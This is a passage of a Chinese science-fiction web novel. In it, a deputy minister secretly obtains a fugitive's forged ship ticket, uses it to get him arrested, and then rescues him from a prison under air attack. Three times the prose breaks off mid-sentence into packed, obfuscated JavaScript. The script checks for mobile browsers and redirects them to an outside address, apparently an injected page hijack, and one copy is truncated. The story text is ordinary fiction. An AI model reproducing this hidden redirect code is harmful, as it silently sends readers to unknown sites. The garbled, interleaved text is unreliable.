“不瞒你说,虽然在你眼中我和他们是一伙的,但我与他们之间算不上什么朋友。”百里寻笑了笑,“在入学的前一天,我父亲就给了我一份墨菲学院学生名单,特别标注出每一个学生的家庭背景,父母在何处任职,家里是经商还是从政,家里人有没有能人异士……总之,凡是有结交价值的我都必须记下,并且想方设法和对方成为‘朋友’。” 宁以歌抬眼看他。 “这一切都是为了我的家族企业,你也知道的,百里家族虽然在政府手底下经销军火,但也有自己的产业链,这条地下产业链想要顺利经营就需要打通许多关系,拥有很多盟友。这是没有办法的事。”百里寻状若轻松地耸肩。 宁以歌:“很巧,我也在入学前也曾获得过一份学生名单,不过内容和你不太一样,上面写着每一个同学的精神体、精神力等级和异能。这是老师对我的特别关照,我需要记下这些,以防日后万一有什么情况能及时对自己与对方的精神力差距有所预估,从而保护自己。” 百里寻垂下眼睛,额前的白色鬈发遮着他眼中的光:“过去的事,我对你说一声抱歉。你作为学院有史以来唯一一个C级,当年有很多不容易是我没法亲身体会的。” 宁以歌收起了文件,问道:“你怎么突然跟我叙起旧,还说这些话?” 餐桌上用以装饰的投影在鲜花上的虚拟蝴蝶翩翩飞舞,透明的翅膀后的百里寻的脸有些模糊,宁以歌耐心地凝望着他。 “我不想再继续参与调查了。” 电子蝴蝶落在桌上,倏地碎成光点消散。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203769|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宁以歌眯起眼:“你说什么?” “我说,”百里寻像下定某种决心般硬气地挺直上半身,“我不想再继续跟你查到底是谁给我下药,又是谁在陷害我了!这些我都不想再管了。” 他停顿了一下,看见宁以歌的脸黑得可怕,暗沉的目光仿佛在看一个死人。百里寻紧张地滚动喉结,却没等到宁以歌的反驳,于是又继续往下说。 “再说了,到现在他们又没真的把我怎么样,反倒是现在我天天思考这些问题搞得自己很累。今天看见弗兰克的下场我忽然开始害怕,也许我应该安分守己,弗兰克就不会出车祸,我也不会稀里糊涂遭到算计爬上你的床。”百里寻越说越激动,“我就不应该靠近第二星天上楼这个敏感地点,也不该继续追查下去,就是我的持续行动导致后续的一连串结果。” 百里寻又停顿了一下,还是没听到宁以歌的声音。他观察着宁以歌的脸色,她在刚刚过去的一分钟内又恢复了平静,眼神也没那么吓人了。百里寻不禁感到一头雾水:“你就没什么想说的吗?” 宁以歌:“你想好了?终止我们之间的合作?” 百里寻:“我想好了。” 宁以歌:“我再问一遍,你确定?” 百里寻郑重点头:“我确定。” 宁以歌沉默地注视着他,呼吸很平稳,情绪没有起伏:“好,我同意。” 这一下令百里寻满脸茫然:“你真的同意了?” “对,我同意你退出,后续我来处理。再说了,我没有什么立场强留你,毕竟我们之间是平等的合作。”宁以歌自然地点头,仿佛百里寻谈论的只是明天吃什么这样稀松平常的话题。 没有料到宁以歌竟然如此干脆,百里寻原本编排的一大堆用以争论的腹稿全部报了废。 “不过,我得处理一下我们俩光脑中的联络记录。”宁以歌率先打开自己的光脑,果断删除与百里寻的所有聊天与通话记录,确保对方没有在自己的光脑中留下任何痕迹。而后示意百里寻也打开光脑照做。 等宁以歌亲自检查数遍确保万无一失后,她利落地关闭光脑,目光冷淡:“就当我们从来没有私联过。” 百里寻看着已经被宁以歌清理一通的光脑,眼底流露出一丝怅然。 最后临别时,宁以歌突兀地对他露出一个平静的笑容,语气温柔异常:“我只希望,未来的你不会后悔今日的决定。” 当天夜半时分,阿德里安带着制作好的船票如约造访了宁以歌的住处。 “宁姐,今天突发消息,航船更改了日程,四天后从第五星到第十三星的航船就会提前出发。”阿德里安说,“所以伊莎紧急更改了一下船票信息,保证还能正常使用。” 宁以歌接过包裹:“多谢。” 因为航船提前出发,所以百里寻才匆忙向自己宣布退出这场阴谋的调查,不是他真的害怕自己会成为第二个弗兰克,而是他更着急于跑路。 只可惜…… 宁以歌拆开包裹,百里寻伪造的身份证件,虹膜信息以及船票的备份尽数掌控于她的手中。 她握住了他的把柄,他却全然不知。 15. 抓捕 原本还在听下属汇报工作的宁以歌突然接到了夏洛特的通讯,她还没来得及问一句怎么了就听见夏洛特急忙地通知她去安全部大楼开会。 并且强调让她一个人来,不要带司法部的其他职员。 宁以歌的心中涌起不好的预感,她沉默片刻,叫来助理把自己近期的工作迅速安排好,能推的会议通通推掉,不重要的工作内容交给下属,重要的让另一位副部长艾罗去处理。 简单安排好后,宁以歌坐上来接自己的政府专车,车辆收起车轮起飞,沿着固定的空中线路驶往安全部大楼。 宁以歌踏上安全部的高级员工专属电梯,电梯是透明的,从电梯内能够俯瞰首星都城最繁华地区的景色。 日薄西山,赤色的晚霞染红了这座城,这座宁以歌曾经在梦中幻想的城市此时却在她的脚下被她俯视着,那么渺小,那么触手可及。这一刻,宁以歌忽然走神了,直到一股烟味飘入,宁以歌猛然惊醒,电梯门已经打开,温柔的机械女声提示:“已到达三十层。您参与的会议在左手边二十米处3001会议室召开。” 宁以歌走出电梯,刚转身就看见交通部部长祝寒靠在左边不远处的走廊窗边抽烟。 交通部部长竟然也参与此次会议? 宁以歌下意识深呼吸调整情绪,却吸入呛人的烟味,剧烈咳嗽起来,引得祝寒侧头透过薄薄的烟雾眯着眼看她。 祝寒打量着面前的年轻女人,她与宁以歌的交集算不上多,没有私交,只是处于同一个团队合作的同事。在她的印象中,宁以歌总是挂着恬淡的微笑,似乎愿意与任何人交好,可仔细观察时却能发现这个女孩的眼底无半分笑意,反而泛着冷意。 该如何形容这种冷意?就像一把拉满的弓,时时刻刻紧绷着弦将箭尖对准每一个人。 一个柔弱无力的C级精神体在B级、A级乃至S级生活的丛林中想要立足就必须比别人多看一些,多想一步。 此时那张年轻的脸咳得通红,脸上一贯的微笑已经挂不住了。 祝寒意味深长地看着宁以歌,说道:“这点烟味都忍受不了,我早说了,执政官阁下就不应该同意让你任职。万一出点小意外,对我们是毛毛雨,对你可就要了命。你要是出了三长两短可就拖累了司法部的其他人。” 一边说着,祝寒一边灭了烟头。 “劳祝部长挂心,我命硬的很。”宁以歌恢复微笑,状若无意地看了一眼祝寒身边的墙面,“倒是眼疾更能影响同事工作呢。” 祝寒微微一愣,转过身看清了边上墙上的显示屏正不断提示“禁止吸烟”。她沉默地再回头看向宁以歌,宁以歌却已经走进了会议室。 ……还真是一如既往的嘴巴狠,胆子大。 会议室几乎都是安全部的人,还有一小部分交通部的,只有宁以歌一个人来自司法部。 祝寒紧跟着宁以歌入座。 见人已到齐,安全部部长卡罗尔开门见山:“请诸位来是想商议有关于L85走私案的下一步计划。” 夏洛特接着进行大致的调查情况汇报,简单介绍完宁以歌差不多都知道的前情后,夏洛特的神情转而严肃:“起初L85生产链的五位负责人经过调查都没有问题,直到两天前,其中一位负责人林智冉遭遇了谋杀。” 宁以歌沉下眼神,她预料中的结果到来了。 “幸运的是,林智冉没死,虽然受了重伤却在今天恢复了意识,并且指认了凶手。”夏洛特顿住了,她的目光转向宁以歌,继续说,“杀他的人,是百里寻。” 宁以歌曾大张旗鼓担保的对象现在再次恢复了戴罪之身,会议中的众人齐齐看向她,目光中有嘲讽,有同情,更多是幸灾乐祸。 这张会议桌上只有宁以歌一个C级,只有她来自遥远的边境星球,也只有她在这次案件中扮演着出头鸟的角色。她是异类中的异类,虽然身为副部长,却与在场所有人并不完全处于一个社会层级。 “并且,另一位生产链负责人罗伯特在林智冉恢复意识的那天清晨自杀身亡,死前留下了一封遗书,遗书中他承认自己是百里寻安插在生产链的眼线,但因为百里寻没有支付给他承诺的报酬,所以产生了报复心理,并详细复述了自己如何做手脚掉包L85芯片栽赃给百里寻的。” 夏洛特简单地概括:“经过我们的调查,罗伯特遗书中所言非虚。” 宁以歌开口:“百里寻怎么谋杀林智冉的?” “百里寻在两天前的凌晨潜入林智冉的家中,使用控制金属的超能力调动林智冉家中的刀具杀他,却被浅眠的林智冉及时发现,林智冉找到机会报警,但我们晚了一步,到场的时候百里寻已经跑了,只剩下奄奄一息的林智冉。” 宁以歌:“林智冉怎么确定是百里寻的?看见脸了吗?” “林智冉说是一个戴着帽子和面具的身高将近一米九的男性,虽然对方没有留下生物信息,但打斗过程中林智冉看见了他帽子下面的白发。”夏洛特说,“白发,还会控制金属,精神力不低,极有可能就是百里寻。” 宁以歌陷入沉思,她上一次见到百里寻是三天前,照时间来说,似乎是有这么个可能性。 祝寒说道:“宁部长这是不愿意接受现实呢,夏洛特你再说说其他证据。” 夏洛特看向宁以歌的眼中流露出一丝关切,但仍然继续说:“今天邀请交通部的各位参会也是与百里寻有关,因为当我们赶到百里寻住处时却发现他已经跑了!我们询问百里家的人,只问到百里寻曾声称要出去度假散心。” 祝寒:“我们部门确实查到十五个小时前百里寻搭乘了从首星出发前往第五星的星际航船,这会儿应该抵达第五星不久。第五星是联邦最重要的星际中转站,集聚了大量乘客和航线,而百里寻的购票信息就在第五星断了。” 第五星没有任何度假区,土地贫瘠也没有任何好风景可以观赏,百里寻的目的地不可能是那里。 唯一的可能就是百里寻伪造了身份信息购买了下半程的船票继续航行。 交通部已经找了个合适的借口延期了第五星上的所有航船,但终究只能拖延很短的时间,否则不仅会引起百里寻的警惕,还会对联邦的交通秩序造成难以挽回的影响。 这也是现在最棘手的一点,第五星的航线和航船太多了,根本难以查起。如果全部叫停一艘一艘地查过去不知道要耗费多少人力和时间。 交通部的人参与这场会议也是为了协助安全部的调查小组寻找合适的解决办法。 总不能眼睁睁地让重案的犯罪嫌疑人就这样逃之夭夭。 他们迅速讨论寻找着尽快控制住百里寻的方法,势必要在尽可能短的时间内找到他的踪迹。 就在这时,宁以歌幽幽开口:“也许我知道百里寻在哪。” 整间会议室陷入寂静,他们诧异地看向方才还处于难堪境地的宁以歌。 宁以歌从上衣内侧的口袋中取出一张联邦星际船票,摆在桌上。她一直贴身随带着百里寻的关键把柄,是因为她早就料到会有这么一刻,这是从百里寻终止与她的合作的必然结果。 “这应该就是他伪造身份购买的船票。” 祝寒的助理起身拿走船票, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203770|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细观察一番,向祝寒点头:“确实是联邦船票,是今天晚上九点十五启航的第五星到第十三星的航船。” 祝寒冷着脸接过船票,又递给另一名下属:“扫描下,看身份信息是什么。” 她身旁的下属取出一个微型扫描仪器,对准船票某处轻轻划过,悬浮屏展开,上面呈现着购票人的相关信息。 安全部配合地在星舟联邦居民信息库中现场搜索这个名字,果不其然,没有任何结果。这是一个假的身份信息。 祝寒:“你从哪得到的船票?怎么知道这就是百里寻的?” 宁以歌坦然回答:“不瞒您说,就在三天前,百里寻私下找我想要感谢我那日庭审的举动,却不慎将船票遗落。我捡到了。但当时我并不知道他想做什么,也不知道船票的信息是伪造的,于是选择静观其变,没有及时上报。” 其实这个借口很粗糙,但对于此刻的调查来说,找到百里寻比验证宁以歌理由的真假更重要,即使他们心有疑惑但还是选择相信宁以歌的话。 宁以歌:“根据调查小组所查到的内容,我猜百里寻是想前往第十三星偷渡出联邦边境,而最近前往第十三星的船只只有这一艘,所以就算他遗失船票再造出一个假身份,也依然会选择这趟航船。你们可以先对这艘航船的所有乘客进行排查,相信你们不会没有任何收获的。” 祝寒笑了起来:“我还以为宁部长拿到这么关键的信息会选择包庇呢,毕竟是您担保的对象。” 宁以歌神色平静:“我向来对事不对人,我只认证据。” * 乔装打扮的百里寻染了毛发颜色,又戴上□□,混入等待登船的人群中。就在刚刚,第五星的候船中心发布异种入侵警报,将所有航船向后延期,并安抚乘客交通部会迅速处理好,最迟在两个小时后恢复所有航线。 这是一个不算罕见的情况,第五星的土地贫瘠不适合人类生存,却在地底孕育着大量的异种。联邦的交通枢纽建在环第五星的高空中,但不排除碰上异种活动期对交通枢纽产生影响。 百里寻没想那么多,耐心地在候船中心等待着。 不到一个小时,广播中宣布已驱逐所有入侵异种,航线全部恢复正常,将按批次启航。 百里寻站进排队等待上船的队伍中,前方的检票机器在挨个验证船票信息与乘客虹膜信息是否匹配,但不会针对个人信息进一步验证。只要船票是真的,并且也录入了面前乘客的虹膜信息,他就能顺利登上这趟飞往第十三星的星际航船,获得真正的自由。 检票机器在为百里寻检票时,绿灯亮起,意味着百里寻通过了验证,可以登船。 就在百里寻松了口气,迈步跨入入口时,检票机器两旁的安保机器人瞬间激活,它们以迅雷不及掩耳之势扑了上来,化作巨大的镣铐将百里寻的身躯紧紧锁住,并且同时往百里寻的脖颈注射了精神力抑制剂和麻醉剂。 百里寻摔倒在地,不一会儿就完全失去了行动能力。 安保人员在他模糊的视线中冲过来,百里寻强撑着最后一丝意识满脑子却只有一句话:自己是怎么暴露的? * 百里寻第二次站在了联邦政府的中心法院。 法庭上的一切景象都是如此熟悉,熟悉的国徽,熟悉的法官,熟悉的阳光。 他微微侧头看向旁听席,宁以歌穿着那套他熟悉的深紫色制服端坐在其中,低头不知道在写着什么,在百里寻看她的时候始终没有抬头。 只是当初救他的那个人不会再如救世主般闯入法庭向庭上众人担保他的清白了。 16. 逃生 百里寻被送进第十星上的重犯监狱时仍然觉得这是一场梦。 这一系列事故的发生就像一出荒诞不经的戏剧,而百里寻是被随机选中穿越到戏剧中充当主演的观众,他不知道故事的背景与走向,只是稀里糊涂地被其他角色推着走完了所有情节,最终在落幕前得知他主演的故事是一场主角必死的悲剧。 百里寻面如死灰地回想起过去大半个月里经历的一切,他只是想抓紧时间跑路,彻彻底底地摆脱星舟联邦这些阴魂不散各怀鬼胎的人,却一转头发现泄密L85、谋杀林智冉、操纵L85生产链负责人、畏罪潜逃等等数不清的罪名一股脑全部扣了上来,把他砸了个稀巴烂。 而他在这无数罪名和完整的证据链下连声冤枉都没来得及喊就被丢进了牢里,与四面无窗的银色牢笼相伴至今。 虽然最终判决没那么快下来,但看这架势,联邦已经认定百里寻就是确凿无疑的罪犯,才会将他直接关进重犯监狱,后续的提审也会采取远程的形式,不会让他再有回到首星的机会。 百里寻坐在牢房中,靠着特地为他准备的包裹着防止他会一头撞死的柔软海绵的墙面,无力地仰头盯着天花板上的通风口发呆。 他脖颈上的抑制环在每隔一个小时就向他的身体中注射抑制精神力的药剂,微微的刺痛令百里寻啧了声,目光里流露出一缕恨意。 百里寻被逮捕后的第七天结束第一次庭审后就送进了这里,如今他已经十天没有见过天空了,更是半个月没有再能够与他的精神体阿金联系上。在该死的加强版精神力抑制下,他的精神图景完全封锁了。 监狱也完全杜绝了罪犯之间的联系与交流,罪犯没有集体活动的机会,只能终日呆在狭小的牢房里,连一日三餐都靠冰冷的机器人来送。只有每日清晨,会有全副武装的狱警挨个检查罪犯们的情况,防止有越狱或者死了没人发现的情况发生。 第十星是星舟联邦的重犯监狱所在地。联邦没有死刑,但有终身监禁,能被押送到第十星监狱的几乎全是判了终身监禁的重刑犯,而这些罪犯的心理状况和生理情况这里的狱警根本不关心,死了对于狱警和联邦来说都是好事——虽然表面上还是会给他们提供医疗服务。 百里寻抽动嘴角,虽然这里的饭菜还算不错,但每天困在狭小的牢房里没有透气的机会,不出一个月,他的精神指定出问题。 但他不能放任这种情况的发生,倘若他精神错乱,那些莫须有的罪名就能更加容易地钉在他的身上了。 虽然百里寻有反抗的念头,但他完全没有反抗的手段。 整个牢房只有通风口通往外面,却狭小难以通行,而牢房每一次开门都至少有三名狱警盯着,百里寻根本找不到机会越狱。 三天前的上午通风系统还出了问题,差点没把百里寻闷死在里面。幸好狱警及时发现了,并请来了维修人员来修理,同时还让维修人员进了牢房挨个在通风口安装了一个备用通风系统,保障主系统出了问题的时候牢房里还能保持正常通风。 百里寻百无聊赖的时候又开始盯着这个新装上去的通风装置观察。 心想,要是这玩意里面有炸弹就好了,把墙炸出个大洞,他就能跑了。 不知道是不是百里寻的心理作用,他恍惚中仿佛真的听见通风装置里传来不一般的声响,滴滴答答,像钟表秒针走动的声音。 第三声滴答声响起的时候百里寻一跃而起,不对,不是他的幻听,是这玩意里面真的有不对劲的动静! 一瞬间,百里寻汗毛竖立,别人不一定能听出来,但他可以,毕竟他的精神力等级可是S级,五感都超越常人。虽然精神力被限制了,但精神力对他生理上的影响却没有消失。 百里寻狂按墙上的紧急按钮想叫来狱警看看。 可当他按下按钮的第一秒,整个监狱就响起刺耳的警报声。 “防空警报!防空警报!袭击将在三十分钟后到达地面,请做好防空应急准备!” 什么玩意儿! 百里寻懵了,但他手上也没停止按铃,天上要掉炸弹是一回事,他面前这个通风装置的问题又是另一回事。并且这个装置的问题对于百里寻来说更危险、更紧急。 百里寻的手快按断了,狱警也不见踪影。他只听见门外的走廊上传来许多人匆匆的脚步声,却没有一个人为他的紧急铃声停留。 如果这个新装上去的通风装置真有炸弹在里面,那么就意味着整个备用通风系统都有问题,搞不好会跟鞭炮一样一炸炸一串,把他们这些罪犯们全炸死在牢房里。 百里寻身上的冷汗浸透了他的囚服,既然狱警不想管他们,他就只能自己想办法! 他拼了老命去扯脖子上的抑制环,抑制环却紧贴着他的皮肤纹丝不动,他又试图砸门踹门,可监狱的墙面和门体都太过厚重,他根本无法撼动。 焦头烂额间,地面骤然震动,巨大的轰鸣声伴随着剧烈的地震席卷而至,百里寻没站稳跌坐在地上。 空袭开始了。 谁不长眼的没事干空袭联邦监狱干什么?百里寻痛骂,他可不想就这样不明不白死在这里! 广播中是狱警的声音:“请各位不必慌张,第十星监狱建筑采取的是高强度防空结构设计,不会倒塌。” 广播中的话还没落音,不远处就传来令百里寻十分在意的爆炸声。这爆炸声不像来自于外界,而是建筑内部。 是别的牢房的通风管道! 随着一声又一声的爆炸声响起,百里寻的耳中捕捉到水泥砖石开裂的声音。监狱的厚重墙体里面的材质依然是传统的水泥钢筋,这声音是墙体在开裂! 百里寻紧紧贴着距离通风口最远的牢房门站着,死死盯着通风装置,耳中细微的滴答声成了真正的催命符,现在他能等待只有命运的降临。 第十星除了重犯监狱还有联邦最大的垃圾处理厂,终日焚烧来自其他行星的垃圾令第十星的空气五毒俱全,人类不可能不在任何防护中呼吸第十星的原生空气。 现在通风系统再次被破坏也意味着这些有毒气体的到来。 通风装置失效,外界的有毒气体在渗入。百里寻捂住口鼻,无力地一边抵抗毒气一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209200|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边等着自己牢房的炸弹爆炸。 就在百里寻觉得自己的人生已经走到尽头时,身后紧靠着的牢房门开了。 百里寻一个踉跄,回过身,一个比他矮半个头的一身灰色轻甲的狱警面对着他,抬手就将呼吸面罩扣上他的脸,面罩连通着便携式氧气罐,百里寻终于呼吸到了干净的气体。 “低头,我要取下你的芯片。”狱警的脸上覆盖着单向透明面罩,声音也是经过狱警配备的变声器处理的,为的是防止被重刑犯记住。 每个重犯都会被联邦在后颈植入定位芯片。百里寻茫然了一瞬,又乖乖照做。 狱警手起刀落,一块连带着芯片的血肉被硬生生剜了下来,鲜血从后颈流淌到胸前,百里寻咬牙没吭一声。 狱警将剜下的血肉丢进牢房里,又将百里寻从牢房里拽了出来。 百里寻这才发现牢房外的走廊空空如也,其他牢房门都紧闭着,狱警已经疏散完毕,这条走廊只有他和面前的狱警,以及狱警身后拖着一具尸体的另一个狱警。 另一个狱警将尸体也紧跟着丢入百里寻的牢房中,随后对第一个狱警说:“我来断后。” 第一个狱警点点头,示意百里寻往前跑:“跟着我!” 这名狱警很熟悉逃生通道,仅仅用了半分钟就将百里寻带到了监狱后门前。狱警从背后的应急包里掏出一套全新的狱警轻甲递给百里寻:“换上。” 监狱在接二连三的爆炸声中岌岌可危,百里寻甚至嗅到了从建筑另一侧传来的物体焚烧的气息,他一刻不敢耽误,迅速换上狱警的衣服,带好防护面罩,和救他的狱警一起离开监狱,混入不远处的逃往救生航船的狱警队伍中。 但他们俩没有登上那艘救生航船,这名狱警带着百里寻跑了一半就不着痕迹地脱离了队伍,往另一侧跑去。 敌方的空袭还在继续,炮弹以监狱为核心目标接二连三地落在第十星的地面上,甚至就要炸到正在逃跑的二人。 一道坚硬的岩石墙拔地而起,将二人与爆炸产生的余波隔绝开来,百里寻惊讶地回头看了一眼,是控制岩石的异能者的手笔。 一艘不起眼的小型私人星际飞船在第十星山地的阴影中划出一道银光,飞驰而来,最终稳稳停在百里寻二人面前,打开了船舱。 狱警先一步上了船,转头看着百里寻,向他伸出手,语气不容拒绝:“要么跟我走,要么死。” 百里寻看了一眼身后火光冲天持续坍塌的银白色半球体监狱建筑和不断掉落的炮弹,求生的欲望大过了他对面前人身份的疑虑。 他握住狱警的手,一步登上飞船。 驾驶座上坐着方才说要为他们断后的那名狱警,见他们上船坐好便一键关门,人为操控的巨大岩石墙紧护在飞船的四周,保证飞船顺利升空,离开第十星的表面,头也不回地冲向天空。 百里寻稳定呼吸,问道:“你们是谁?” 身旁的狱警摘下了遮面的头盔,露出了宁以歌的脸。 她因为剧烈运动的脸上全是汗水,表情却依然平静:“别来无恙,百里寻。”